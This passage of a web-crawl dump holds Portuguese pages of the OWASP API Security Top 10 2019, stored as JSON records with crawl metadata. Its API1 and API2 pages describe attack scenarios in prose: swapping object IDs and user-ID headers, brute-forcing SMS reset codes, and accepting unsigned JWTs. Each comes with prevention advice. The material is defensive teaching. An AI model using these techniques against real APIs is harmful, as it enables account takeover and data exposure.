Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/pt-pt/0x01-about-owasp/", "jazyk": "pt", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Sobre a OWASP"}, {"uroven": 2, "text": "Copyright and License"}], "markdown": "# Sobre a OWASP\n\nOWASP - Open Web Application Security Project é uma comunidade aberta que se\ndedica a ajudar as organizações a desenvolver, adquirir e manter aplicações e\nAPIs confiáveis.\n\nA OWASP disponibiliza de forma livre e aberta:\n\n- Ferramentas e normas de segurança aplicacional\n- Livros completos sobre testes de segurança aplicacional, desenvolvimento\n de código seguro e revisão de código focada em segurança\n- Apresentações e [vídeos](https://www.youtube.com/user/OWASPGLOBAL)\n- [*Cheat Sheets*](https://owasp.org/www-project-cheat-sheets/) sobre assuntos diversos\n- Controlos e bibliotecas de segurança *standard*\n- [Comunidades locais espalhados por todo o mundo](https://owasp.org/chapters/)\n- Investigação de ponta\n- Múltiplas [conferências em todo o mundo](https://owasp.org/events/)\n- [Listas de discussão](https://lists.owasp.org/mailman/listinfo)\n\nMais informação em: [https://www.owasp.org](https://www.owasp.org).\n\nTodas as ferramentas, documentos, vídeos, apresentações e comunidades locais da\nOWASP são livres e abertos a todos os interessados em melhorar a segurança\naplicacional.\n\nAconselhamos uma abordagem à segurança aplicacional como sendo um problema de\npessoas, processos e tecnologia, porque as abordagens mais eficazes à segurança\naplicacional necessitam de melhorias em todas estas áreas.\n\nA OWASP é um novo tipo de organização. A nossa independência em relação a\npressões comerciais permite-nos fornecer informação imparcial, prática e\neconomicamente adequada sobre a segurança aplicacional. A OWASP não está\nafiliada com nenhuma empresa tecnológica, embora suportemos o uso informado de\ntecnologias de segurança comerciais. A OWASP produz muitos tipos de materiais\nde uma forma colaborativa, transparente e aberta.\n\nA fundação OWASP é uma entidade sem fins lucrativos o que assegura o sucesso a\nlongo prazo do projeto. Quase todas as pessoas associadas à OWASP são\nvoluntárias, incluindo a direção da OWASP, os líderes das comunidades locais, os\nlíderes dos projetos e os seus membros. Suportamos investigação inovadora em\nsegurança através de bolsas e infraestrutura.\n\nJunte-se a nós!\n\n## Copyright and License\n\nCopyright © 2003-2019 The OWASP Foundation. Este documento é distribuído de\nacordo com a licença [Creative Commons Attribution Share-Alike 4.0](http://creativecommons.org/licenses/by-sa/4.0/). Para\nqualquer tipo de reutilização ou distribuição, deve deixar claro para terceiros\nos termos da licença deste trabalho.", "znaku_textu": 2437, "slov": 323, "odkazu": 69, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 00:39:42", "sha256": "853f6ccc2098e8e109f6df44fd932a26331b4d9233de393106aed506aec8a92f", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://www.youtube.com/user/OWASPGLOBAL", "https://lists.owasp.org/mailman/listinfo", "https://www.owasp.org/", "http://creativecommons.org/licenses/by-sa/4.0/", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/pt-pt/0x02-foreword/", "titulek": "Prefácio - OWASP API Security Top 10", "h1": "Prefácio", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/pt-pt/0x02-foreword/", "jazyk": "pt", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Prefácio"}], "markdown": "# Prefácio\n\nAs APIs - *Application Programming Interface* têm um papel fundamental na\ninovação que observamos nos dias de hoje ao nível das aplicações. Desde a banca,\nretalho e transportes à Internet das Coisas (IoT), veículos autónomos e *Smart\nCities*, as APIs são hoje um elemento crítico nas aplicações móveis, *Software\nas a Service* (SaaS) e aplicações web, sejam elas destinadas ao público em\ngeral, parceiros de negócio ou para uso interno das organizações.\n\nPor definição as APIs expõem lógica aplicacional e dados sensíveis tais como\ninformação pessoal (PII - *Personally Identifiable Information*), motivo pelo\nqual se têm vindo a tornar um alvo para os atacantes. Se não conseguirmos\ngarantir a segurança das APIs será impossível continuar a inovar a um ritmo\nacelerado.\n\nApesar de continuar a fazer sentindo manter uma lista dos 10 principais\nproblemas de segurança em aplicações web, devido à natureza particular das APIs,\né importante haver também uma tal lista específica para APIs.\nA segurança das APIs foca-se nas estratégias e soluções para compreender e\nmitigar as vulnerabilidades e risco de segurança associado às APIs.\n\nSe estiver familiarizado com o projeto [OWASP Top 10](https://owasp.org/www-project-top-ten/) com certeza notará as\nsemelhanças entre os documentos: elas são propositadas para facilitar a leitura\ne adoção deste. Se por outro lado for a primeira vez que tem contacto com um\ndocumento da série OWASP Top 10, sugerimos que comece por ler as secções [Riscos\nde Segurança em APIs](../0x10-api-security-risks/) e [Metodologia e Dados](../0xd0-about-data/) antes de aprofundar a lista\ndos dez problemas de segurança mais críticos em APIs.\n\nPode contribuir para o OWASP API Security Top 10 com perguntas, comentários e\nideias no repositório do projeto no GitHub:\n\n- https://github.com/OWASP/API-Security/issues\n- https://github.com/OWASP/API-Security/blob/master/CONTRIBUTING.md\n\nPode ainda encontrar o OWASP API Security Top 10 em:\n\n- https://owasp.org/www-project-api-security/\n- https://github.com/OWASP/API-Security\n\nGostaríamos de agradecer a todos os que participaram neste projeto, tornando-o\npossível com o seu empenho e contribuições. A lista de contribuidores\nencontra-se na secção [Agradecimentos](../0xd1-acknowledgments/).\n\nObrigado!", "znaku_textu": 2255, "slov": 333, "odkazu": 62, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 00:39:51", "sha256": "535ce5f37c4e7ddd24acf0e965475d31cd2c57ac76c871dc94ddbd8d1066cffc", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/pt-pt/0x03-introduction/", "titulek": "Introdução - OWASP API Security Top 10", "h1": "Introdução", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/pt-pt/0x03-introduction/", "jazyk": "pt", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Introdução"}, {"uroven": 2, "text": "Bem-vindo ao OWASP API Security Top 10 - 2019!"}], "markdown": "# Introdução\n\n## Bem-vindo ao OWASP API Security Top 10 - 2019!\n\nBem-vindo à primeira edição do OWASP API Security Top 10. Se estiver\nfamiliarizado com a série OWASP Top 10 seguramente notará as semelhanças: elas\nsão propositadas em prol da compreensão e adoção deste documento. Caso este seja o seu\nprimeiro contacto com este tipo de documento, considere visitar a página do\n[OWASP API Security Project](https://owasp.org/www-project-api-security/) antes de prosseguir para os principais problemas\nde segurança de APIs.\n\nAs APIs desempenham um papel muito importante na arquitetura das aplicações\nmodernas. Uma vez que a consciencialização para a segurança e a inovação têm\nritmos diferentes, é importante concentrarmo-nos nas falhas mais comuns em APIs.\n\nO objetivo principal do OWASP API Security Top 10 é educar todos aqueles\nenvolvidos no desenvolvimento e manutenção de APIs, como por exemplo,\nprogramadores, *designers*, arquitetos, gestores ou organizações.\n\nNa secção [Metodologia e Dados](../0xd0-about-data/) pode ler mais sobre como esta primeira\nedição foi criada. Nas versões futuras queremos envolver a industria de\nsegurança através duma chamada pública para contribuição de dados. Por agora\nencorajamos todos a contribuírem com perguntas, comentários e ideias no nosso\n[repositório no GitHub](https://github.com/OWASP/API-Security) ou através da [*Mailing list*](https://groups.google.com/a/owasp.org/forum/#!forum/api-security-project).", "znaku_textu": 1442, "slov": 207, "odkazu": 64, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 00:40:00", "sha256": "efcc3efaedee66b4cf66f2a40193d30a72f5399e3ce70040cfa5bb2d2f248410", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://groups.google.com/a/owasp.org/forum/", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/pt-pt/0x04-release-notes/", "titulek": "Notas da Versão - OWASP API Security Top 10", "h1": "Notas da Versão", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/pt-pt/0x04-release-notes/", "jazyk": "pt", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Notas da Versão"}, {"uroven": 2, "text": "Notas da Tradução"}], "markdown": "# Notas da Versão\n\nEsta é a primeira edição do OWASP API Security Top 10, que prevemos atualizar\nperiodicamente a cada três ou quatro anos.\n\nAo contrário desta versão, em futuras versões, queremos fazer uma chamada\npública para contribuição de dados, envolvendo a industria de segurança neste\nesforço. Na secção [Metodologia e Dados](../0xd0-about-data/) encontrará mais detalhes sobre como\nconstruímos esta versão. Para mais informação sobre os riscos de segurança, por\nfavor consulte a secção [Riscos de Segurança em APIs](../0x10-api-security-risks/).\n\nÉ importante tomar consciência que nos últimos anos a arquitetura das aplicações\nsofreu alterações significativas. Atualmente as APIs desempenham um papel muito\nimportante, em particular em arquitetura de micro-serviços, *Single Page\nApplications* (SPAs), aplicações móveis, Internet da Coisas (IoT), etc.\n\nEra imperativo criar o OWASP API Security Top 10 para consciencializar a\ncomunidade sobre os atuais problemas de segurança em APIs. Isto foi apenas\npossível graças ao enorme esforço dum conjunto de voluntários, todos eles\nmencionados na secção [Agradecimentos](../0xd1-acknowledgments/). Obrigado!\n\n## Notas da Tradução\n\nA tradução do OWASP API Security Top 10 2019 foi realizada de forma voluntária\ncom o objetivo de tornar este documento acessível a todos, independentemente do\ndomínio da língua em que este foi originalmente produzido.\n\nAcreditamos que este é um contributo válido na missão de consciencializar e\neducar todos quantos estão envolvidos no desenvolvimento e manutenção de APIs e\n*software* em geral para questões relacionadas com segurança.\n\nA tradução deste documento para Português (Portugal) decorreu durante um período\nconturbado em que enfrentamos uma pandemia global, em consequência da qual\nvivemos em isolamento social. Este trabalho é também uma demonstração daquilo\nque podemos construir em conjunto ainda que condicionados de alguma forma.\n\nEsta tradução resulta do esforço de:\n\n- Paulo Alexandre Silva [me@pauloasilva.com](mailto:me@pauloasilva.com)\n- Rui Silva [riusalvi@gmail.com](mailto:riusalvi@gmail.com)", "znaku_textu": 2082, "slov": 292, "odkazu": 64, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 00:40:09", "sha256": "eba200847d2a7b25904a1d49b75826315af8100bf4aeb737ad70efa49834dfcb", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/pt-pt/0x10-api-security-risks/", "titulek": "Riscos de Segurança em APIs - OWASP API Security Top 10", "h1": "Riscos de Segurança em APIs", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/pt-pt/0x10-api-security-risks/", "jazyk": "pt", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Riscos de Segurança em APIs"}, {"uroven": 2, "text": "Referências"}, {"uroven": 3, "text": "OWASP"}, {"uroven": 3, "text": "Externas"}], "markdown": "# Riscos de Segurança em APIs\n\nPara a análise de risco usámos a [metodologia de avaliação de risco da\nOWASP](https://www.owasp.org/index.php/OWASP_Risk_Rating_Methodology).\n\nA tabela seguinte resume a terminologia associada à pontuação correspondente ao\nnível de risco.\n\n| Agentes Ameaça | Abuso | Prevalência | Deteção | Impacto Técnico | Impacto Negócio |\n| --- | --- | --- | --- | --- | --- |\n| Específico da API | Fácil **3** | Predominante **3** | Fácil **3** | Grave **3** | Específico do Negócio |\n| Específico da API | Moderado **2** | Comum **2** | Moderado **2** | Moderado **2** | Específico do Negócio |\n| Específico da API | Difícil **1** | Incomum **1** | Difícil **1** | Reduzido **1** | Específico do Negócio |\n\n**Nota**: Esta abordagem não toma em consideração a verosimilhança do Agente de\nAmeaça. Também não toma em consideração nenhum detalhe técnico associado à sua\nAPI. Qualquer um destes fatores podem ter impacto significativo na probabilidade\ndum atacante encontrar e abusar duma falha de segurança particular. Estes\nindicadores não tomam em consideração o impacto atual no seu negócio. Terá de\nser a sua organização a decidir qual o nível de risco para a segurança das suas\naplicações e APIs que está disposta a aceitar, baseado na cultura, indústria e\nregulação a que está sujeita. O propósito do OWASP API Security Top 10 não é\nfazer essa análise por si.\n\n## Referências\n\n### OWASP\n\n- [OWASP Risk Rating Methodology](https://www.owasp.org/index.php/OWASP_Risk_Rating_Methodology)\n- [Artigo sobre Threat/Risk Modeling](https://www.owasp.org/index.php/Threat_Risk_Modeling)\n\n### Externas\n\n- [ISO 31000: Risk Management Std](https://www.iso.org/iso-31000-risk-management.html)\n- [ISO 27001: ISMS](https://www.iso.org/isoiec-27001-information-security.html)\n- [NIST Cyber Framework (US)](https://www.nist.gov/cyberframework)\n- [ASD Strategic Mitigations (AU)](https://www.asd.gov.au/infosec/mitigationstrategies.htm)\n- [NIST CVSS 3.0](https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator)\n- [Microsoft Threat Modeling Tool](https://www.microsoft.com/en-us/download/details.aspx?id=49168)", "znaku_textu": 1950, "slov": 236, "odkazu": 72, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 00:40:18", "sha256": "228511a09a0d330e1d6fda2856325f87fa94d5cebb0fed056e4524cdb89dc322", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://www.owasp.org/index.php/OWASP_Risk_Rating_Methodology", "https://www.owasp.org/index.php/Threat_Risk_Modeling", "https://www.iso.org/iso-31000-risk-management.html", "https://www.iso.org/isoiec-27001-information-security.html", "https://www.nist.gov/cyberframework", "https://www.asd.gov.au/infosec/mitigationstrategies.htm", "https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator", "https://www.microsoft.com/en-us/download/details.aspx?id=49168", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/pt-pt/0x11-t10/", "titulek": "OWASP Top 10 API Security Risks – 2019 - OWASP API Security Top 10", "h1": "OWASP Top 10 API Security Risks – 2019", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/pt-pt/0x11-t10/", "jazyk": "pt", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "OWASP Top 10 API Security Risks – 2019"}], "markdown": "# OWASP Top 10 API Security Risks – 2019\n\n| Risk | Description |\n| --- | --- |\n| API1:2019 - Broken Object Level Authorization | As APIs tendem a expor mais *endpoints* que manipulam identificadores de objetos, tornando as falhas no controlo de acessos mais suscetíveis a ataques. A verificação da autorização para acesso aos objetos deve ser tida em consideração em todas as funções que acedem a dados com base em informação fornecida pelo utilizador. |\n| API2:2019 - Broken User Authentication | Com frequência os mecanismos de autenticação são implementados de forma incorreta, permitindo aos atacantes comprometer os *tokens* de autenticação ou abusar das falhas na implementação por forma a assumir a identidade de outros utilizadores de forma temporária ou permanente. |\n| API3:2019 - Excessive Data Exposure | Na tentativa de fazer implementações genéricas os programadores tendem a expor todas as propriedades dum objeto sem ter em consideração quão sensível é cada uma delas, delegando nos clientes a filtragem daquelas que devem ser apresentadas ao utilizador. |\n| API4:2019 - Lack of Resources & Rate Limiting | Com frequência as APIs não impõem quaisquer restrições no tamanho ou número de recursos que um cliente/utilizador pode solicitar. Não só isto pode ter impacto no desempenho do servidor da API, conduzindo à negação do serviço (DoS), mas também deixa a porta aberta para problemas de autenticação tais como ataques de força bruta. |\n| API5:2019 - Broken Function Level Authorization | Política de controlo de acesso complexas com diferentes níveis hierárquicos, grupos e perfis e uma não tão clara separação entre o que são ou não funcionalidades administrativas tendem a conduzir a falhas de autorização. Abusando destas falhas os atacantes podem ganhar acesso a recursos doutros utilizadores e/ou a funcionalidades administrativas. |\n| API6:2019 - Mass Assignment | Atribuir a informação fornecida pelo cliente (e.g., JSON) aos modelos de dados sem a devida filtragem das propriedades com base em *whitelists*, conduzem tipicamente a problemas de atribuição em massa (*Mass Assignment*). Quer seja através da adivinhação das propriedades do objeto, explorando outros *endpoints* da API ou consulta da documentação, fornecendo propriedades adicionais no conteúdo dos pedidos permite aos atacantes modificar propriedades dos objetos que não eram supostos. |\n| API7:2019 - Security Misconfiguration | Tipicamente as más configurações de segurança resultam de configurações por omissão, incompletas ou que se destinam a um fim específico, armazenamento na nuvem aberto, falha na configuração dos cabeçalhos HTTP de segurança, métodos HTTP não utilizados, política permissiva de Partilha de Recursos Entre Origens (CORS) e mensagens de erro contendo informação sensível. |\n| API8:2019 - Injection | Falhas de injeção tais como SQL, NoSQL, injeção de comandos, etc., ocorrem quando dados não confiáveis são enviados a um interpretador como parte dum comando ou consulta. Desta forma o interpretador acaba por executar comandos que não era expectável executar ou aceder a dados sem a devida autorização. |\n| API9:2019 - Improper Assets Management | As APIs tendem a expor mais *endpoints* do que as aplicações web tradicionais, fazendo com que a documentação se torne ainda mais importante. Um inventário dos *hosts* e APIs em execução também têm um papel importante na mitigação de falhas tais como versões de APIs descontinuadas e exposição de *endpoints* para análise de problemas. |\n| API10:2019 - Insufficient Logging & Monitoring | A insuficiência no registo de eventos e monitorização, em conjugação com a falta ou ineficácia da integração com a resposta a incidentes, permite aos atacantes continuar a sua prática, persistir os seus ataques, alcançar outros sistemas, extrair ou destruir dados. A maioria dos estudos demonstra que o tempo de deteção duma quebra de segurança vai além dos 200 dias, sendo tipicamente detetada por entidades externas, ao invés de processo internos ou monitorização. |", "znaku_textu": 3929, "slov": 580, "odkazu": 61, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 00:40:27", "sha256": "898d51620dcc74d95883da93382d01af392a00b58071c0799095f058b4fc83fe", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/pt-pt/0xa1-broken-object-level-authorization/", "titulek": "API1:2019 Broken Object Level Authorization - OWASP API Security Top 10", "h1": "API1:2019 Broken Object Level Authorization", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/pt-pt/0xa1-broken-object-level-authorization/", "jazyk": "pt", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "API1:2019 Broken Object Level Authorization"}, {"uroven": 2, "text": "A API é vulnerável?"}, {"uroven": 2, "text": "Exemplos de Cenários de Ataque"}, {"uroven": 3, "text": "Cenário #1"}, {"uroven": 3, "text": "Cenário #2"}, {"uroven": 2, "text": "Como Prevenir"}, {"uroven": 2, "text": "Referências"}, {"uroven": 3, "text": "Externas"}], "markdown": "# API1:2019 Broken Object Level Authorization\n\n| Agentes Ameaça/Vetores Ataque | Falha Segurança | Impactos |\n| --- | --- | --- |\n| Específico da API : Abuso **3** | Prevalência **3** : Deteção **2** | Técnico **3** : Específico do Negócio |\n| Os atacantes podem abusar dos *endpoints* vulneráveis da API através da manipulação do identificador dum objeto que é enviado como parte do pedido. Isto pode conduzir ao acesso não autorizado a informação sensível. Este problema é extremamente comum porque os componentes do servidor normalmente não mantém o estado do cliente, baseando-se essencialmente em parâmetros tais como o identificador do objeto que é enviado para decidir qual o objeto a aceder. | Este tem sido o ataque mais comum e com maior impacto em APIs. Os mecanismos de autorização e controlo de acessos em aplicações modernas são complexos e abrangentes. Ainda que a aplicação implemente uma infraestrutura adequada para validação de autorização, os programadores podem esquecer-se de a realizar antes de aceder a informação sensível. A identificação de problemas no controlo de acessos não é de fácil deteção através de análise estática ou dinâmica. | Acesso não autorizado pode resultar na divulgação de informação a entidades não autorizadas, perda ou manipulação de dados. O acesso não autorizado a objetos pode ainda conduzir à usurpação de contas de utilizador. |\n\n## A API é vulnerável?\n\nA autorização de acesso ao nível do objeto é um mecanismo de controlo\ntipicamente implementado ao nível do código para validar que um utilizador só\npode aceder aos objetos aos quais tem acesso.\n\nTodos os *endpoints* duma API que recebem identificadores de objetos e que\nexecutam algum tipo de ação sobre os mesmos, devem implementar verificações de\nautorização a esse nível. A verificação de acesso deve validar que o utilizador\ncom a sessão ativa tem permissão para realizar a ação solicitada sobre o objeto\nem questão.\n\nFalhas neste mecanismo tipicamente conduzem à divulgação não autorizada de\ninformação, modificação ou destruição de todos os dados.\n\n## Exemplos de Cenários de Ataque\n\n### Cenário #1\n\nUma plataforma de comércio eletrónico para criar lojas online oferece uma página\nde listagem com gráficos relativos à receita das lojas. Inspecionando os pedidos\nrealizados pelo navegador um atacante identifica os *endpoints* da API usados\npara obter os dados a partir dos quais são gerados os gráficos bem como o seu\npadrão `/shops/{shopName}/revenue_data.json`. Utilizado outro *endpoint* da API\no atacante obtém a lista com o nome de todas as lojas. Com recurso a um *script*\nsimples para substituir `{shopName}` no URL pelos nomes que constam da lista, o\natacante consegue acesso aos dados relativos às vendas de milhares de lojas\nonline.\n\n### Cenário #2\n\nMonitorizando o tráfego de rede dum dispositivo *wearable*, o pedido HTTP\n`PATCH` capta a atenção dum atacante devido à utilização do cabeçalho\nnão-standard `X-User-ID: 54796`.\n\nSubstituindo o valor do cabeçalho `X-User-Id` por `54795` o atacante recebe uma\nresposta afirmativa, conseguindo manipular os dados da conta doutro utilizador.\n\n## Como Prevenir\n\n- Implementar um mecanismo de autorização baseado nas políticas de utilizador e\n hierarquia.\n- Utilizar um mecanismo de autorização para verificar se o utilizador com sessão\n ativa tem permissão para realizar a ação pretendida sobre o registo. Esta\n verificação deve ser feita por todas as funções que utilizem informação\n fornecida pelo cliente para aceder a um registo na base de dados.\n- Utilizar preferencialmente valores aleatórios e não previsíveis (e.g., GUID)\n como identificador para os registos.\n- Escrever testes para avaliar o correto funcionamento do mecanismo de\n autorização. Não colocar em produção alterações vulneráveis que não passem nos\n testes.\n\n## Referências\n\n### Externas\n\n- [CWE-284: Improper Access Control](https://cwe.mitre.org/data/definitions/284.html)\n- [CWE-285: Improper Authorization](https://cwe.mitre.org/data/definitions/285.html)\n- [CWE-639: Authorization Bypass Through User-Controlled Key](https://cwe.mitre.org/data/definitions/639.html)", "znaku_textu": 3994, "slov": 594, "odkazu": 71, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 00:40:36", "sha256": "acd959e1fa5c229aa75f6095d08dd61abf527d167a9f48377d904056fcb50e43", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://cwe.mitre.org/data/definitions/284.html", "https://cwe.mitre.org/data/definitions/285.html", "https://cwe.mitre.org/data/definitions/639.html", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/pt-pt/0xa2-broken-user-authentication/", "titulek": "API2:2019 Broken User Authentication - OWASP API Security Top 10", "h1": "API2:2019 Broken User Authentication", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/pt-pt/0xa2-broken-user-authentication/", "jazyk": "pt", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "API2:2019 Broken User Authentication"}, {"uroven": 2, "text": "A API é vulnerável?"}, {"uroven": 2, "text": "Exemplos de Cenários de Ataque"}, {"uroven": 3, "text": "Cenário #1"}, {"uroven": 3, "text": "Cenário #2"}, {"uroven": 2, "text": "Como Prevenir"}, {"uroven": 2, "text": "Referências"}, {"uroven": 3, "text": "OWASP"}, {"uroven": 3, "text": "Externas"}], "markdown": "# API2:2019 Broken User Authentication\n\n| Agentes Ameaça/Vetores Ataque | Falha Segurança | Impactos |\n| --- | --- | --- |\n| Específico da API : Abuso **3** | Prevalência **2** : Deteção **2** | Técnico **3** : Específico Negócio |\n| A autenticação em APIs é um mecanismo complexo e confuso. Engenheiros de software e segurança podem ter conceções erradas com relação ao âmbito da autenticação e como implementá-la corretamente. Por outro lado os mecanismos de autenticação são um alvo fácil para os atacantes uma vez que estão expostos publicamente. Estes dois pontos tornam o componente responsável pela autenticação potencialmente vulnerável a diferentes tipos de abuso. | Podemos dividir os problemas de autenticação em duas partes: 1. Falta de mecanismos de proteção: os *endpoints* responsáveis pela autenticação devem ser tratados de forma diferente dos demais *endpoints*, implementando camadas de proteção adicionais 2. Falhas na implementação do mecanismo: este é utilizado/implementado sem considerar os vetores de ataque específicos ou baseado em casos de uso desadequados (e.g., um mecanismo de autenticação desenhado para clientes IoT pode não ser a melhor escolha para aplicações web). | Os atacantes podem obter o controlo sobre as contas doutros utilizadores, aceder aos seus dados pessoais e realizar ações sensíveis em seu nome, como por exemplo transferências financeiras ou envio de mensagens pessoais. |\n\n## A API é vulnerável?\n\nOs *endpoints* e fluxos de autenticação são ativos que carecem de proteção.\nMecanismos de recuperação de *password* devem ser tratados da mesma forma que os\nmecanismos de autenticação.\n\nUma API é vulnerável se:\n* Permite ataques de [*credential stuffing*](https://owasp.org/www-community/attacks/Credential_stuffing) em que o atacante tem uma lista de\n nomes de utilizador e *passwords* válidos.\n* Permite ataques de força bruta a uma conta de utilizador específica, não\n implementando mecanismos de mitigação como *captcha* ou bloqueio da conta por\n excesso de tentativas de autenticação falhadas.\n* Permite a utilização de *passwords* fracas.\n* Envia informação de autenticação, tal como *tokens* e *passwords*, no URL.\n* Não valida a autenticidade dos *tokens* de autenticação.\n* Aceita *tokens* JWT sem que estes sejam assinados/usando algoritmos fracos\n `(\"alg\":\"none\")` ou não valida a sua data de expiração.\n* Utiliza *passwords* em texto, não encriptadas, ou resumos fracos.\n* Utiliza chaves de encriptação fracas.\n\n## Exemplos de Cenários de Ataque\n\n### Cenário #1\n\nAtaques de [*Credential Stuffing*](https://owasp.org/www-community/attacks/Credential_stuffing) utilizando [listas de nomes de utilizador/\n*passwords* conhecidas](https://github.com/danielmiessler/SecLists) são bastante comuns. Se uma API não implementa\nproteções contra ameaças automatizadas ou Credential Stuffing, esta pode ser\nusada como oráculo para identificar se as credenciais são válidas.\n\n### Cenário #2\n\nUm atacante inicia o fluxo de recuperação de *password*, enviando um pedido\n`POST` com o nome de utilizador para o *endpoint* `/api/system/verification-codes`. Um código de 6 dígitos é enviado para o\ntelefone da vítima. Porque a API não implementa uma política de limitação do\nnúmero de pedidos, com recurso a um *script multi-thread* que envia as\ncombinações possíveis para o *endpoint* `/api/system/verification-codes/{smsToken}`, o atacante consegue em poucos\nminutos descobrir o código enviado na SMS.\n\n## Como Prevenir\n\n- Certifique-se de que conhece todos os fluxos de autenticação possíveis (e.g.\n móvel/web/ *deeplinks* /etc.).\n- Pergunte aos engenheiros responsáveis quais os fluxos em falta/não\n identificados.\n- Leia sobre os mecanismos de autenticação em uso. Certifique-se que compreende\n quais e como são usados. OAuth não é um mecanismo de autenticação, assim como\n também não o são as API *keys* .\n- Não reinvente a roda em termos de autenticação, geração de *tokens* ,\n armazenamento de *passwords* . Opte pela utilização de standards.\n- *Endpoints* para recuperação de *password* devem ser tratados como os *endpoints* de *login* no que diz respeito à proteção contra ataques de força\n bruta, limitação do número de pedidos e bloqueio de conta.\n- Utilize a [OWASP Authentication Cheatsheet](https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html) .\n- Sempre que possível implemente autenticação de múltiplos fatores.\n- Implemente mecanismos anti-força bruta para mitigar ataques do tipo *credential stuffing* , dicionário e força bruta nos *endpoints* de\n autenticação. Este mecanismo deve ter configurações mais restritivas do que\n para os demais *endpoints* da API.\n- Implemente [mecanismos de bloqueio de conta](https://github.com/OWASP/wstg/blob/master/document/4-Web_Application_Security_Testing/04-Authentication_Testing/03-Testing_for_Weak_Lock_Out_Mechanism.md) / *captcha* para prevenir\n ataques de força bruta contra utilizadores específicos. Implemente verificação\n da qualidade/força das *passwords* .\n- As API *keys* não devem ser usadas para autenticação dos utilizadores, mas ao\n invés para [autenticação dos clientes da API](https://cloud.google.com/endpoints/docs/openapi/when-why-api-key) .\n\n## Referências\n\n### OWASP\n\n- [OWASP Key Management Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Key_Management_Cheat_Sheet.html)\n- [OWASP Authentication Cheatsheet](https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html)\n- [Credential Stuffing](https://owasp.org/www-community/attacks/Credential_stuffing)\n\n### Externas\n\n- [CWE-798: Use of Hard-coded Credentials](https://cwe.mitre.org/data/definitions/798.html)", "znaku_textu": 5467, "slov": 717, "odkazu": 76, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 